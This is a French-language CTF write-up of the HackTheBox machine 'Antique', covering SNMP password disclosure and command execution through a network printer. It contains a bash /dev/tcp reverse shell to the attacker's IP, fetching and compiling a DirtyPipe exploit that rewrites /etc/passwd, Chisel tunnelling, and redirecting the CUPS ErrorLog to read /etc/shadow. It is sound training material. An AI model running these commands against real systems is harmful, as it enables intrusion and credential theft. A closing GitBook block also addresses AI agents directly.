> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md). # Récapitulatif HackTheBox d'Antique Récapitulatif de la machine HackTheBox Linux facile Antique couvrant l'énumération SNMP, l'abus d'une imprimante réseau, l'exploitation de l'administration CUPS (ErrorLog), EXTRA -> (DirtyPipe) (CVE-2022-0847], avec des notes d'énumération pratiques {% embed url="" %} {% hint style="warning" %} Compétences : * Énumération SNMP * Abus d'imprimante réseau * Exploitation de l'administration CUPS (ErrorLog) * EXTRA -> (DirtyPipe) (CVE-2022-0847] {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Nous allons établir notre espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance à l'aide de Nmap
**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.
### Analyse TCP : Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts ```
**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (23.7777)
**Analyse des versions des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p23,7777 10.10.11.107 -oN targeted ```
### Analyse UDP : **Découverte des ports ouverts avec Nmap :** Nous effectuons également une analyse des ports UDP avec **Nmap**: ```bash nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP ``` Nous extrayons à nouveau les résultats avec `extractPorts`, et nous observons l'ouverture du port **161**, utilisé par SNMP :
## Exploration des services ### Port 23 (Telnet) – HP JetDirect Lorsque nous essayons de nous connecter sur le port **23** via **Telnet**, nous rencontrons un service HP JetDirect qui nous demande un mot de passe. Nous pouvons essayer de nous connecter avec : ```bash nc -vn 10.10.11.107 23 ```
### Port 161 (SNMP) {% embed url="" %} Nous utilisons **snmpbulkwalk** pour énumérer les services SNMP exposés sur le port **161**: ```bash snmpbulkwalk -c public -v2c 10.10.11.107 . ```
```bash 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` Cela nous donne une chaîne de caractères hexadécimaux que nous convertissons en ASCII pour obtenir le contenu lisible : {% code overflow="wrap" %} ```bash echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r ``` {% endcode %}
Ce canal contient des informations intéressantes, mais rien d'immédiatement utile pour l'exploitation. ```bash nc -vn 10.10.11.107 23 P@ssw0rd@123!!123 ```
Lors de la tentative d'injecter une chaîne comme mot de passe sur le port 23 (JetDirect), nous utilisons des essais tels que : ```bash P@ssw0rd@123!!123 ```
## Abus d'imprimante réseau Nous avons détecté qu'il est possible d'exécuter des commandes via l'imprimante réseau. L'exploitation de cette vulnérabilité repose sur la `exec` commande qui permet d'injecter des commandes à distance. Par exemple : ```bash exec id ```
Cela renvoie les identifiants système et permet d'exécuter d'autres commandes. **Shell inversé** Nous établissons un shell inversé à l'aide de **nc** sur le port **443** de la machine attaquante : ```bash nc -nvlp 443 ``` ```bash exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" ```
Ensuite, nous manipulons la session shell pour obtenir un meilleur contrôle : ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### drapeau user.txt :)
## Élévation de privilèges ## 1. Exploitation de DirtyPipe {% embed url="" %} Nous avons vérifié si la machine était vulnérable à l'exploit DirtyPipe, un bug qui permet de modifier des fichiers système en cours d'exécution. Nous avons trouvé que la machine disposait de **gcc**, un compilateur C, disponible à l'emplacement `/usr/bin/gcc`. ```bash lp@antique:/home/lp$ which gcc /usr/bin/gcc ``` Ensuite, nous avons utilisé **Python3** pour transférer l'exploit depuis notre machine locale vers la machine cible. Sur notre machine locale, nous avons lancé un serveur HTTP pour héberger l'exploit : ```bash python3 -m http.server ``` Sur la machine victime, nous avons téléchargé l'exploit : ```bash wget http://10.10.14.4/exploit.c ```
Une fois l'exploit récupéré, nous avons compilé le fichier C avec **gcc**: ```bash gcc exploit.c -o exploit ``` {% hint style="info" %} L'exploit modifie le `/etc/passwd` le fichier en injectant un hash de mot de passe, et ajoute un utilisateur `aaron` avec un mot de passe spécifique, le tout pour permettre une élévation de privilèges. {% endhint %}
Enfin, exécutez simplement le script : ```bash ./exploit ``` Cela nous permet d'obtenir `root`/*/* l'accès à la machine
## 2. Redirection de port avec Chisel En inspectant les ports ouverts sur la machine cible, nous avons trouvé le port **631** (utilisé par CUPS). En utilisant la commande suivante, nous avons confirmé la présence d'un service CUPS : ```bash netstat -nat ``` Le service CUPS est en version **1.6.1** et nous avons identifié qu'il pourrait être vulnérable. Pour rediriger ce port, nous avons utilisé **Chisel**, un outil de tunneling.
Nous avons d'abord compilé Chisel sur notre machine locale : {% embed url="" %} ```bash go build -ldflags "-s -w" . upx chisel ``` Ensuite, nous avons transféré l'exécutable Chisel vers la machine victime via un serveur HTTP Python3 : ```bash python3 -m http.server 8080 wget http://10.10.14.4:8080/chisel ```
Sur notre machine, nous avons démarré le serveur Chisel : ```bash chisel server -p 8888 -reverse ``` Ensuite, sur la machine victime, nous avons configuré le client Chisel pour rediriger le port 631 vers notre machine locale : ```bash ./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631 ```
Cela nous permet d'accéder à l'interface web de CUPS de la machine cible via un tunnel sécurisé. ### Exploitation de la vulnérabilité CUPS 1.6.1 {% embed url="" %} En utilisant **cupsctl**, nous avons modifié le **CUPS** paramétrage du service pour rediriger le **ErrorLog** fichier ErrorLog vers un fichier sensible, comme **/etc/shadow**. Cela permet de lire ce fichier en tant que root via l'interface web CUPS. Commande pour modifier la configuration : ```bash cupsctl ErrorLog=/etc/shadow ``` Nous avons ensuite accédé à l'interface web CUPS en visitant l'URL suivante sur le serveur CUPS via notre tunnel : Cela a rendu possible la consultation du contenu du **/etc/shadow** fichier et l'obtention du `root.txt` flag.
### Flag root.txt :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.